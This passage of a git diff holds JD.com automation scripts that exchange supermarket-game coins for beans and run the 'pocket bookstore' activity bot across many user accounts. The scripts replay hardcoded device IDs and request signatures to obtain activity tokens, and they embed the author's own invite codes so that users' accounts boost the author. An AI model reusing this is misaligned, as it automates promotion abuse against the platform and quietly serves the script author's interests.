smtg_materialPrizeIndex() + // ]) + // const prizeList = [...$.queryPrizeData, ...$.materialPrizeIndex]; + const prizeList = [...$.queryPrizeData]; + if (prizeList && prizeList.length) { + if (`${coinToBeans}` === '1000') { + if (prizeList[0] && prizeList[0].type === 3) { + console.log(`查询换${prizeList[0].name}ID成功,ID:${prizeList[0].prizeId}`) + $.title = prizeList[0].name; + $.blueCost = prizeList[0].cost; + } else { + console.log(`查询换1000京豆ID失败`) + $.beanerr = `东哥今天不给换`; + return ; + } + if (prizeList[0] && prizeList[0].inStock === 506) { + $.beanerr = `失败,1000京豆领光了,请明天再来`; + return ; + } + if (prizeList[0] && prizeList[0].limit === prizeList[0] && prizeList[0].finished) { + $.beanerr = `${prizeList[0].name}`; + return ; + } + //兑换1000京豆 + if ($.totalBlue > $.blueCost) { + await smtg_obtainPrize(prizeList[0].prizeId); + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else if (`${coinToBeans}` === '20') { + if (prizeList[1] && prizeList[1].type === 3) { + console.log(`查询换${prizeList[1].name}ID成功,ID:${prizeList[1].prizeId}`) + $.title = prizeList[1].name; + $.blueCost = prizeList[1].cost; + } else { + console.log(`查询换万能的京豆ID失败`) + $.beanerr = `东哥今天不给换`; + return ; + } + if (prizeList[0] && prizeList[0].inStock === 506) { + console.log(`失败,万能的京豆领光了,请明天再来`); + $.beanerr = `失败,万能的京豆领光了,请明天再来`; + return ; + } + if ((prizeList[0] && prizeList[0].limit) === (prizeList[0] && prizeList[0].finished)) { + $.beanerr = `${prizeList[0].name}`; + return ; + } + //兑换万能的京豆(1-20京豆) + if ($.totalBlue > $.blueCost) { + await smtg_obtainPrize(prizeList[0].prizeId,1000); + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else { + //自定义输入兑换 + console.log(`\n\n温馨提示:需兑换商品的名称设置请尽量与其他商品有区分度,否则可能会兑换成其他类似商品\n\n`) + let prizeId = '', i; + for (let index = 0; index < prizeList.length; index ++) { + if (prizeList[index].name.indexOf(coinToBeans) > -1) { + prizeId = prizeList[index].prizeId; + i = index; + $.title = prizeList[index].name; + $.blueCost = prizeList[index].cost; + $.type = prizeList[index].type; + $.beanType = prizeList[index].hasOwnProperty('beanType'); + } + } + if (prizeId) { + if (prizeList[i].inStock === 506 || prizeList[i].inStock === -1) { + console.log(`失败,您输入设置的${coinToBeans}领光了,请明天再来`); + $.beanerr = `失败,您输入设置的${coinToBeans}领光了,请明天再来`; + return ; + } + if ((prizeList[i].targetNum) && prizeList[i].targetNum === prizeList[i].finishNum) { + $.beanerr = `${prizeList[0].subTitle}`; + return ; + } + if ($.totalBlue > $.blueCost) { + if ($.type === 4 && !$.beanType) { + await smtg_obtainPrize(prizeId, 0, "smtg_lockMaterialPrize") + } else { + await smtg_obtainPrize(prizeId); + } + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else { + console.log(`奖品兑换列表【${coinToBeans}】已下架,请检查活动页面是否存在此商品,如存在请检查您的输入是否正确`); + $.beanerr = `奖品兑换列表【${coinToBeans}】已下架`; + } + } + } +} +//查询白酒类奖品列表API +function smtg_materialPrizeIndex(timeout = 0) { + $.materialPrizeIndex = []; + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=smtg_materialPrizeIndex&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%221%22%7D&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + $.beanerr = `${data.data.bizMsg}`; + return + } + $.materialPrizeIndex = data.data.result.prizes || []; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//查询任务 +function smtg_queryPrize(timeout = 0){ + $.queryPrizeData = []; + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=smt_queryPrizeAreas&clientVersion=8.0.0&client=m&body=%7B%22channel%22%3A%2218%22%7D&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = JSON.parse(data); + // $.queryPrizeData = data; + if (data.data.bizCode !== 0) { + console.log(`${data.data.bizMsg}\n`) + $.beanerr = `${data.data.bizMsg}`; + return + } + if (data.data.bizCode === 0) { + const { areas } = data.data.result; + const prizes = areas.filter(vo => vo['type'] === 4); + if (prizes && prizes[0]) { + $.areaId = prizes[0].areaId; + $.periodId = prizes[0].periodId; + $.queryPrizeData = prizes[0].prizes || []; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//换京豆 +function smtg_obtainPrize(prizeId, timeout = 0, functionId = 'smt_exchangePrize') { + //1000京豆,prizeId为4401379726 + const body = { + "connectId": prizeId, + "areaId": $.areaId, + "periodId": $.periodId, + "informationParam": { + "eid": "", + "referUrl": -1, + "shshshfp": "", + "openId": -1, + "isRvc": 0, + "fp": -1, + "shshshfpa": "", + "shshshfpb": "", + "userAgent": -1 + }, + "channel": "18" + } + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=${functionId}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + console.log(`兑换结果:${data}`); + if (safeGet(data)) { + data = JSON.parse(data); + $.data = data; + if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 106) { + $.beanerr = `${$.data.data.bizMsg}`; + //console.log(`【京东账号${$.index}】${$.nickName} 换取京豆失败:${$.data.data.bizMsg}`) + return + } + if ($.data.data.bizCode === 106) { + $.errBizCodeCount ++; + console.log(`debug 兑换京豆活动火爆次数:${$.errBizCodeCount}`); + if ($.errBizCodeCount >= 20) return + } + if ($.data.data.bizCode === 0) { + if (`${coinToBeans}` === '1000') { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.beanscount === 1) return; + } else if (`${coinToBeans}` === '20') { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.data.data.result.count === 20 || $.beanscount === coinToBeans || $.data.data.result.blue < $.blueCost) return; + } else { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.beanscount === 1) return; + } + } + } + await smtg_obtainPrize(prizeId,3000); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +function smtgHome() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_home'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市兑换奖品: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + const { result } = data.data; + $.totalGold = result.totalGold; + $.totalBlue = result.totalBlue; + // console.log(`【总金币】${$.totalGold}个\n`); + console.log(`【总蓝币】${$.totalBlue}个\n`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//通知 +function msgShow() { + // $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【收取蓝币】${$.coincount ? `${$.coincount}个` : $.coinerr }${coinToBeans ? `\n【兑换京豆】${ $.beanscount ? `${$.beanscount}个` : $.beanerr}` : ""}`); + return new Promise(async resolve => { + $.log(`\n【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功` : $.beanerr}` : "您设置的是不兑换奖品"}\n`); + if ($.isNode() && process.env.MARKET_REWARD_NOTIFY) { + $.ctrTemp = `${process.env.MARKET_REWARD_NOTIFY}` === 'false'; + } else if ($.getdata('jdSuperMarketRewardNotify')) { + $.ctrTemp = $.getdata('jdSuperMarketRewardNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + //默认只在兑换奖品成功后弹窗提醒。情况情况加,只打印日志,不弹窗 + if ($.beanscount && $.ctrTemp) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${ $.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`); + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`) + // } + } + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${escape(JSON.stringify(body))}&t=${Date.now()}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Referer': 'https://jdsupermarket.jd.com/game', + 'Origin': 'https://jdsupermarket.jd.com', + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_bookshop.js b/jd_bookshop.js new file mode 100644 index 0000000..19917ce --- /dev/null +++ b/jd_bookshop.js @@ -0,0 +1,730 @@ +/* +口袋书店 +活动入口:京东app首页-京东图书-右侧口袋书店 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#口袋书店 +1 8,12,18 * * * jd_bookshop.js, tag=口袋书店, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "1 8,12,18 * * *" script-path=jd_bookshop.js,tag=口袋书店 + +===============Surge================= +口袋书店 = type=cron,cronexp="1 8,12,18 * * *",wake-system=1,timeout=3600,script-path=jd_bookshop.js + +============小火箭========= +口袋书店 = type=cron,script-path=jd_bookshop.js, cronexpr="1 8,12,18 * * *", timeout=3600, enable=true + */ +const $ = new Env('口袋书店'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +const ACT_ID = 'dz2010100034444201', shareUuid = '28a699ac78d74aa3b31f7103597f8927' +let ADD_CART = false +ADD_CART = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : ADD_CART) : ($.getdata("ADD_CART") ? $.getdata("ADD_CART") : ADD_CART); +// 加入购物车开关,与东东小窝共享 + +let inviteCodes = [ + '28a699ac78d74aa3b31f7103597f8927@2f14ee9c92954cf79829320dd482bf49@fdf827db272543d88dbb51a505c2e869@ce2536153a8742fb9e8754a9a7d361da@38ba4e7ba8074b78851e928af2b4f6b2', + '28a699ac78d74aa3b31f7103597f8927@2f14ee9c92954cf79829320dd482bf49@fdf827db272543d88dbb51a505c2e869' +] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + $.shareCodesArr = [] + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.exit = false; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdBeauty() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdBeauty() { + $.score = 0 + await getIsvToken() + await getIsvToken2() + await getActCk() + await getActInfo() + await getToken() + await getUserInfo() + await getActContent(false, shareUuid) + if ($.exit) return + await doHelpList() + await getAllBook() + await getMyBook() + await getActContent(true) + if ($.gold > 800) { + console.log(`金币大于800,去抽奖`) + while ($.gold >= 800) { + await draw() + await $.wait(1000) + $.gold -= 800 + } + } + if($.userInfo.storeGold) await chargeGold() + await helpFriends() + await showMsg(); +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + await getActContent(true, code) + await $.wait(500) + } +} + +// 获得IsvToken +function getIsvToken() { + return new Promise(resolve => { + let body = 'body=%7B%22to%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%5C%2Fdingzhi%5C%2Fbook%5C%2Fdevelop%5C%2Factivity%3FactivityId%3Ddz2010100034444201%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=f3eb9660e798c20372734baf63ab55f2&st=1610267023622&sv=111' + $.post(jdUrl('genToken', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得对应游戏的访问Token +function getIsvToken2() { + return new Promise(resolve => { + let body = 'body=%7B%22url%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=6050f8b81f4ba562b357e49762a8f4b0&st=1610267024346&sv=121' + $.post(jdUrl('isvObfuscator', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏的Cookie +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("dingzhi/book/develop/activity", `activityId=${ACT_ID}`), (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else{ + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏信息 +function getActInfo() { + return new Promise(resolve => { + $.post(taskPostUrl('dz/common/getSimpleActInfoVo', `activityId=${ACT_ID}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result) { + $.shopId = data.data.shopId + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏的Token +function getToken() { + return new Promise(resolve => { + let body = `userId=${$.shopId}&token=${$.token2}&fromType=APP` + $.post(taskPostUrl('customer/getMyPing', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.data.secretPin + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.token)}` + $.post(taskPostUrl('wxActionCommon/getUserInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`用户【${data.data.nickname}】信息获取成功`) + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏信息 +function getActContent(info = false, shareUuid = '') { + return new Promise(resolve => { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.token)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${shareUuid}` + $.post(taskPostUrl('dingzhi/book/develop/activityContent', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data && safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + $.userInfo = data.data + if (!$.userInfo.bookStore) { + $.exit = 